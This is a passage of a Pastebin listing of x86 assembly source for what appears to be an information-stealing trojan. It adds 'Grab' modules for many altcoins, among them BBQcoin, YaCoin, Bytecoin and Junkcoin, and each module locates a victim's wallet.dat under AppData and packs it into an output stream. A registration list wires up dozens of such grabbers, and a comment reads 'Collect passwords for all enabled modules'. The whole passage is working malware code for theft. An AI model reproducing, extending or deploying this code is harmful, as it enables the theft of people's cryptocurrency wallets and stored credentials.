  1488. ; http://bbqcoin.org/
  1489. ; Tested: v0.6.3.0-unk-beta
  1490. ; SFTP: not supported
  1491.                                              
  1492. IFDEF COMPILE_MODULE_BBQCOIN
  1493.  
  1494. .data
  1495.   CBBQcoinWalletFile            db   'wallet.dat',0
  1496.   CBBQcoinAppDataDir            db   '\BBQcoin',0
  1497.  
  1498. .code
  1499.  
  1500. GrabBBQcoin proc stream
  1501.   LOCAL   hdr_ofs: DWORD
  1502.  
  1503.   invoke   StreamWriteModuleHeader, stream, MODULE_BBQCOIN, 0
  1504.   mov   hdr_ofs, eax
  1505.  
  1506.   invoke   AppDataCommonFileScan, stream, offset CBBQcoinAppDataDir, offset CBBQcoinWalletFile, ITEMHDR_ID or 0
  1507.  
  1508.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1509.   ret
  1510. GrabBBQcoin endp
  1511.  
  1512. ENDIF
  1513.  
  1514. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1515. ; Digitalcoin
  1516. ; http://digitalcoin.co/en/
  1517. ; Tested: v1.0.0.0-g3aaa7ba-beta
  1518. ; SFTP: not supported
  1519.                                              
  1520. IFDEF COMPILE_MODULE_DIGITALCOIN
  1521.  
  1522. .data
  1523.   CDigitalcoinWalletFile            db   'wallet.dat',0
  1524.   CDigitalcoinAppDataDir            db   '\Digitalcoin',0
  1525.  
  1526. .code
  1527.  
  1528. GrabDigitalcoin proc stream
  1529.   LOCAL   hdr_ofs: DWORD
  1530.  
  1531.   invoke   StreamWriteModuleHeader, stream, MODULE_DIGITALCOIN, 0
  1532.   mov   hdr_ofs, eax
  1533.  
  1534.   invoke   AppDataCommonFileScan, stream, offset CDigitalcoinAppDataDir, offset CDigitalcoinWalletFile, ITEMHDR_ID or 0
  1535.  
  1536.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1537.   ret
  1538. GrabDigitalcoin endp
  1539.  
  1540. ENDIF
  1541.  
  1542. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1543. ; MinCoin
  1544. ; http://www.min-coin.org/
  1545. ; Tested: v0.6.5.0-g498f5d1-beta
  1546. ; SFTP: not supported
  1547.                                              
  1548. IFDEF COMPILE_MODULE_MINCOIN
  1549.  
  1550. .data
  1551.   CMincoinWalletFile               db   'wallet.dat',0
  1552.   CMincoinAppDataDir               db   '\Mincoin',0
  1553.  
  1554. .code
  1555.  
  1556. GrabMincoin proc stream
  1557.   LOCAL   hdr_ofs: DWORD
  1558.  
  1559.   invoke   StreamWriteModuleHeader, stream, MODULE_MINCOIN, 0
  1560.   mov   hdr_ofs, eax
  1561.  
  1562.   invoke   AppDataCommonFileScan, stream, offset CMincoinAppDataDir, offset CMincoinWalletFile, ITEMHDR_ID or 0
  1563.  
  1564.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1565.   ret
  1566. GrabMincoin endp
  1567.  
  1568. ENDIF
  1569.  
  1570. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1571. ; GoldCoin
  1572. ; http://gldcoin.com/
  1573. ; Tested: v0.7.1.6-gcf3abdf39d-beta
  1574. ; SFTP: not supported
  1575.                                              
  1576. IFDEF COMPILE_MODULE_GOLDCOIN
  1577.  
  1578. .data
  1579.   CGoldcoinWalletFile               db   'wallet.dat',0
  1580.   CGoldcoinAppDataDir               db   '\GoldCoin (GLD)',0
  1581.  
  1582. .code
  1583.  
  1584. GrabGoldcoin proc stream
  1585.   LOCAL   hdr_ofs: DWORD
  1586.  
  1587.   invoke   StreamWriteModuleHeader, stream, MODULE_GOLDCOIN, 0
  1588.   mov   hdr_ofs, eax
  1589.  
  1590.   invoke   AppDataCommonFileScan, stream, offset CGoldcoinAppDataDir, offset CGoldcoinWalletFile, ITEMHDR_ID or 0
  1591.  
  1592.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1593.   ret
  1594. GrabGoldcoin endp
  1595.  
  1596. ENDIF
  1597.  
  1598. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1599. ; YaCoin
  1600. ; http://www.yacoin.org/
  1601. ; Tested: v0.4.0.0-g2nd-yac-wm-alpha
  1602. ; SFTP: not supported
  1603.                                              
  1604. IFDEF COMPILE_MODULE_YACOIN
  1605.  
  1606. .data
  1607.   CYacoinWalletFile               db   'wallet.dat',0
  1608.   CYacoinAppDataDir               db   '\Yacoin',0
  1609.  
  1610. .code
  1611.  
  1612. GrabYacoin proc stream
  1613.   LOCAL   hdr_ofs: DWORD
  1614.  
  1615.   invoke   StreamWriteModuleHeader, stream, MODULE_YACOIN, 0
  1616.   mov   hdr_ofs, eax
  1617.  
  1618.   invoke   AppDataCommonFileScan, stream, offset CYacoinAppDataDir, offset CYacoinWalletFile, ITEMHDR_ID or 0
  1619.  
  1620.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1621.   ret
  1622. GrabYacoin endp
  1623.  
  1624. ENDIF
  1625.  
  1626. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1627. ; Zetacoin
  1628. ; http://www.zeta-coin.org/
  1629. ; Tested: v0.8.99.0-unk-beta
  1630. ; SFTP: not supported
  1631.                                              
  1632. IFDEF COMPILE_MODULE_ZETACOIN
  1633.  
  1634. .data
  1635.   CZetacoinWalletFile               db   'wallet.dat',0
  1636.   CZetacoinAppDataDir               db   '\Zetacoin',0
  1637.  
  1638. .code
  1639.  
  1640. GrabZetacoin proc stream
  1641.   LOCAL   hdr_ofs: DWORD
  1642.  
  1643.   invoke   StreamWriteModuleHeader, stream, MODULE_ZETACOIN, 0
  1644.   mov   hdr_ofs, eax
  1645.  
  1646.   invoke   AppDataCommonFileScan, stream, offset CZetacoinAppDataDir, offset CZetacoinWalletFile, ITEMHDR_ID or 0
  1647.  
  1648.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1649.   ret
  1650. GrabZetacoin endp
  1651.  
  1652. ENDIF
  1653.  
  1654. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1655. ; FastCoin
  1656. ; http://www.fastcoin.ca/
  1657. ; Tested: v0.6.3.0-gc4135e8-beta
  1658. ; SFTP: not supported
  1659.                                              
  1660. IFDEF COMPILE_MODULE_FASTCOIN
  1661.  
  1662. .data
  1663.   CFastcoinWalletFile               db   'wallet.dat',0
  1664.   CFastcoinAppDataDir               db   '\Fastcoin',0
  1665.  
  1666. .code
  1667.  
  1668. GrabFastcoin proc stream
  1669.   LOCAL   hdr_ofs: DWORD
  1670.  
  1671.   invoke   StreamWriteModuleHeader, stream, MODULE_FASTCOIN, 0
  1672.   mov   hdr_ofs, eax
  1673.  
  1674.   invoke   AppDataCommonFileScan, stream, offset CFastcoinAppDataDir, offset CFastcoinWalletFile, ITEMHDR_ID or 0
  1675.  
  1676.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1677.   ret
  1678. GrabFastcoin endp
  1679.  
  1680. ENDIF
  1681.  
  1682. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1683. ; i0coin
  1684. ; http://i0coin.bitparking.com/
  1685. ; Tested: 0.3.25.9-beta
  1686. ; SFTP: not supported
  1687.                                              
  1688. IFDEF COMPILE_MODULE_I0COIN
  1689.  
  1690. .data
  1691.   CI0coinWalletFile               db   'wallet.dat',0
  1692.   CI0coinAppDataDir               db   '\I0coin',0
  1693.  
  1694. .code
  1695.  
  1696. GrabI0coin proc stream
  1697.   LOCAL   hdr_ofs: DWORD
  1698.  
  1699.   invoke   StreamWriteModuleHeader, stream, MODULE_I0COIN, 0
  1700.   mov   hdr_ofs, eax
  1701.  
  1702.   invoke   AppDataCommonFileScan, stream, offset CI0coinAppDataDir, offset CI0coinWalletFile, ITEMHDR_ID or 0
  1703.  
  1704.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1705.   ret
  1706. GrabI0coin endp
  1707.  
  1708. ENDIF
  1709.  
  1710. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1711. ; Tagcoin
  1712. ; http://tagcoin.org/
  1713. ; Tested: v1.0.2
  1714. ; SFTP: not supported
  1715.                                              
  1716. IFDEF COMPILE_MODULE_TAGCOIN
  1717.  
  1718. .data
  1719.   CTagcoinWalletFile               db   'wallet.dat',0
  1720.   CTagcoinAppDataDir               db   '\Tagcoin',0
  1721.  
  1722. .code
  1723.  
  1724. GrabTagcoin proc stream
  1725.   LOCAL   hdr_ofs: DWORD
  1726.  
  1727.   invoke   StreamWriteModuleHeader, stream, MODULE_TAGCOIN, 0
  1728.   mov   hdr_ofs, eax
  1729.  
  1730.   invoke   AppDataCommonFileScan, stream, offset CTagcoinAppDataDir, offset CTagcoinWalletFile, ITEMHDR_ID or 0
  1731.  
  1732.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1733.   ret
  1734. GrabTagcoin endp
  1735.  
  1736. ENDIF
  1737.  
  1738. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1739. ; Bytecoin
  1740. ; http://www.bytecoin.biz/
  1741. ; Tested: v0.8.1.1-gfdc7831-beta
  1742. ; SFTP: not supported
  1743.                                              
  1744. IFDEF COMPILE_MODULE_BYTECOIN
  1745.  
  1746. .data
  1747.   CBytecoinWalletFile               db   'wallet.dat',0
  1748.   CBytecoinAppDataDir               db   '\Bytecoin',0
  1749.  
  1750. .code
  1751.  
  1752. GrabBytecoin proc stream
  1753.   LOCAL   hdr_ofs: DWORD
  1754.  
  1755.   invoke   StreamWriteModuleHeader, stream, MODULE_BYTECOIN, 0
  1756.   mov   hdr_ofs, eax
  1757.  
  1758.   invoke   AppDataCommonFileScan, stream, offset CBytecoinAppDataDir, offset CBytecoinWalletFile, ITEMHDR_ID or 0
  1759.  
  1760.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1761.   ret
  1762. GrabBytecoin endp
  1763.  
  1764. ENDIF
  1765.  
  1766. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1767. ; Florincoin
  1768. ; http://www.florincoin.org
  1769. ; Tested: v0.6.5.8-unk-beta
  1770. ; SFTP: not supported
  1771.                                              
  1772. IFDEF COMPILE_MODULE_FLORINCOIN
  1773.  
  1774. .data
  1775.   CFlorincoinWalletFile               db   'wallet.dat',0
  1776.   CFlorincoinAppDataDir               db   '\Florincoin',0
  1777.  
  1778. .code
  1779.  
  1780. GrabFlorincoin proc stream
  1781.   LOCAL   hdr_ofs: DWORD
  1782.  
  1783.   invoke   StreamWriteModuleHeader, stream, MODULE_FLORINCOIN, 0
  1784.   mov   hdr_ofs, eax
  1785.  
  1786.   invoke   AppDataCommonFileScan, stream, offset CFlorincoinAppDataDir, offset CFlorincoinWalletFile, ITEMHDR_ID or 0
  1787.  
  1788.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1789.   ret
  1790. GrabFlorincoin endp
  1791.  
  1792. ENDIF
  1793.  
  1794. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1795. ; Phoenixcoin
  1796. ; http://phoenixcoin.org/
  1797. ; Tested: v0.6.5.0
  1798. ; SFTP: not supported
  1799.                                              
  1800. IFDEF COMPILE_MODULE_PHOENIXCOIN
  1801.  
  1802. .data
  1803.   CPhoenixcoinWalletFile               db   'wallet.dat',0
  1804.   CPhoenixcoinAppDataDir               db   '\Phoenixcoin',0
  1805.  
  1806. .code
  1807.  
  1808. GrabPhoenixcoin proc stream
  1809.   LOCAL   hdr_ofs: DWORD
  1810.  
  1811.   invoke   StreamWriteModuleHeader, stream, MODULE_PHOENIXCOIN, 0
  1812.   mov   hdr_ofs, eax
  1813.  
  1814.   invoke   AppDataCommonFileScan, stream, offset CPhoenixcoinAppDataDir, offset CPhoenixcoinWalletFile, ITEMHDR_ID or 0
  1815.  
  1816.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1817.   ret
  1818. GrabPhoenixcoin endp
  1819.  
  1820. ENDIF
  1821.  
  1822. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1823. ; Luckycoin
  1824. ; https://cryptocointalk.com/forum/188-luckycoin-lky/
  1825. ; Tested: v0.9.9.0
  1826. ; SFTP: not supported
  1827.                                              
  1828. IFDEF COMPILE_MODULE_LUCKYCOIN
  1829.  
  1830. .data
  1831.   CLuckycoinWalletFile               db   'wallet.dat',0
  1832.   CLuckycoinAppDataDir               db   '\Luckycoin',0
  1833.  
  1834. .code
  1835.  
  1836. GrabLuckycoin proc stream
  1837.   LOCAL   hdr_ofs: DWORD
  1838.  
  1839.   invoke   StreamWriteModuleHeader, stream, MODULE_LUCKYCOIN, 0
  1840.   mov   hdr_ofs, eax
  1841.  
  1842.   invoke   AppDataCommonFileScan, stream, offset CLuckycoinAppDataDir, offset CLuckycoinWalletFile, ITEMHDR_ID or 0
  1843.  
  1844.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1845.   ret
  1846. GrabLuckycoin endp
  1847.  
  1848. ENDIF
  1849.  
  1850. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1851. ; CraftCoin
  1852. ; http://craftcoin.net
  1853. ; Tested: v1.1.1.2-unk-crc
  1854. ; SFTP: not supported
  1855.                                              
  1856. IFDEF COMPILE_MODULE_CRAFTCOIN
  1857.  
  1858. .data
  1859.   CCraftcoinWalletFile               db   'wallet.dat',0
  1860.   CCraftcoinAppDataDir               db   '\Craftcoin',0
  1861.  
  1862. .code
  1863.  
  1864. GrabCraftcoin proc stream
  1865.   LOCAL   hdr_ofs: DWORD
  1866.  
  1867.   invoke   StreamWriteModuleHeader, stream, MODULE_CRAFTCOIN, 0
  1868.   mov   hdr_ofs, eax
  1869.  
  1870.   invoke   AppDataCommonFileScan, stream, offset CCraftcoinAppDataDir, offset CCraftcoinWalletFile, ITEMHDR_ID or 0
  1871.  
  1872.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1873.   ret
  1874. GrabCraftcoin endp
  1875.  
  1876. ENDIF
  1877.  
  1878. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1879. ; JunkCoin
  1880. ; http://jkcoin.com/
  1881. ; Tested: v0.6.3.0-unk-beta
  1882. ; SFTP: not supported
  1883.                                              
  1884. IFDEF COMPILE_MODULE_JUNKCOIN
  1885.  
  1886. .data
  1887.   CJunkcoinWalletFile               db   'wallet.dat',0
  1888.   CJunkcoinAppDataDir               db   '\Junkcoin',0
  1889.  
  1890. .code
  1891.  
  1892. GrabJunkcoin proc stream
  1893.   LOCAL   hdr_ofs: DWORD
  1894.  
  1895.   invoke   StreamWriteModuleHeader, stream, MODULE_JUNKCOIN, 0
  1896.   mov   hdr_ofs, eax
  1897.  
  1898.   invoke   AppDataCommonFileScan, stream, offset CJunkcoinAppDataDir, offset CJunkcoinWalletFile, ITEMHDR_ID or 0
  1899.  
  1900.   invoke   StreamUpdateModuleLen, stream, hdr_ofs
  1901.   ret
  1902. GrabJunkcoin endp
  1903.  
  1904. ENDIF
  1905.  
  1906. Line 13229 (code addition):
  1907.               AddModule COMPILE_MODULE_FASTTRACK, GrabFastTrack
  1908.               AddModule COMPILE_MODULE_BITCOIN, GrabBitcoin
  1909.               AddModule COMPILE_MODULE_ELECTRUM, GrabElectrum
  1910.               AddModule COMPILE_MODULE_MULTIBIT, GrabMultiBit
  1911.               AddModule COMPILE_MODULE_FTPDISK, GrabFTPDisk
  1912.               AddModule COMPILE_MODULE_LITECOIN, GrabLitecoin
  1913.               AddModule COMPILE_MODULE_NAMECOIN, GrabNamecoin
  1914.               AddModule COMPILE_MODULE_TERRACOIN, GrabTerracoin
  1915.               AddModule COMPILE_MODULE_BITCOINARMORY, GrabBitcoinArmory
  1916.               AddModule COMPILE_MODULE_PPCOIN, GrabPPCoin
  1917.               AddModule COMPILE_MODULE_PRIMECOIN, GrabPrimecoin
  1918.               AddModule COMPILE_MODULE_FEATHERCOIN, GrabFeathercoin
  1919.               AddModule COMPILE_MODULE_NOVACOIN, GrabNovaCoin
  1920.               AddModule COMPILE_MODULE_FREICOIN, GrabFreicoin
  1921.               AddModule COMPILE_MODULE_DEVCOIN, GrabDevcoin
  1922.               AddModule COMPILE_MODULE_FRANKOCOIN, GrabFrankocoin
  1923.               AddModule COMPILE_MODULE_PROTOSHARES, GrabProtoShares
  1924.               AddModule COMPILE_MODULE_MEGACOIN, GrabMegacoin
  1925.               AddModule COMPILE_MODULE_QUARKCOIN, GrabQuarkcoin
  1926.               AddModule COMPILE_MODULE_WORLDCOIN, GrabWorldcoin
  1927.               AddModule COMPILE_MODULE_INFINITECOIN, GrabInfinitecoin
  1928.               AddModule COMPILE_MODULE_IXCOIN, GrabIxcoin
  1929.               AddModule COMPILE_MODULE_ANONCOIN, GrabAnoncoin
  1930.               AddModule COMPILE_MODULE_BBQCOIN, GrabBBQcoin
  1931.               AddModule COMPILE_MODULE_DIGITALCOIN, GrabDigitalcoin
  1932.               AddModule COMPILE_MODULE_MINCOIN, GrabMincoin
  1933.               AddModule COMPILE_MODULE_GOLDCOIN, GrabGoldcoin
  1934.               AddModule COMPILE_MODULE_YACOIN, GrabYacoin
  1935.               AddModule COMPILE_MODULE_ZETACOIN, GrabZetacoin
  1936.               AddModule COMPILE_MODULE_FASTCOIN, GrabFastcoin
  1937.               AddModule COMPILE_MODULE_I0COIN, GrabI0coin
  1938.               AddModule COMPILE_MODULE_TAGCOIN, GrabTagcoin
  1939.               AddModule COMPILE_MODULE_BYTECOIN, GrabBytecoin
  1940.               AddModule COMPILE_MODULE_FLORINCOIN, GrabFlorincoin
  1941.               AddModule COMPILE_MODULE_PHOENIXCOIN, GrabPhoenixcoin
  1942.               AddModule COMPILE_MODULE_LUCKYCOIN, GrabLuckycoin
  1943.               AddModule COMPILE_MODULE_CRAFTCOIN, GrabCraftcoin
  1944.               AddModule COMPILE_MODULE_JUNKCOIN, GrabJunkcoin
  1945.              
  1946. Line 13273 (comment added):
  1947. ; Collect passwords for all enabled modules
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!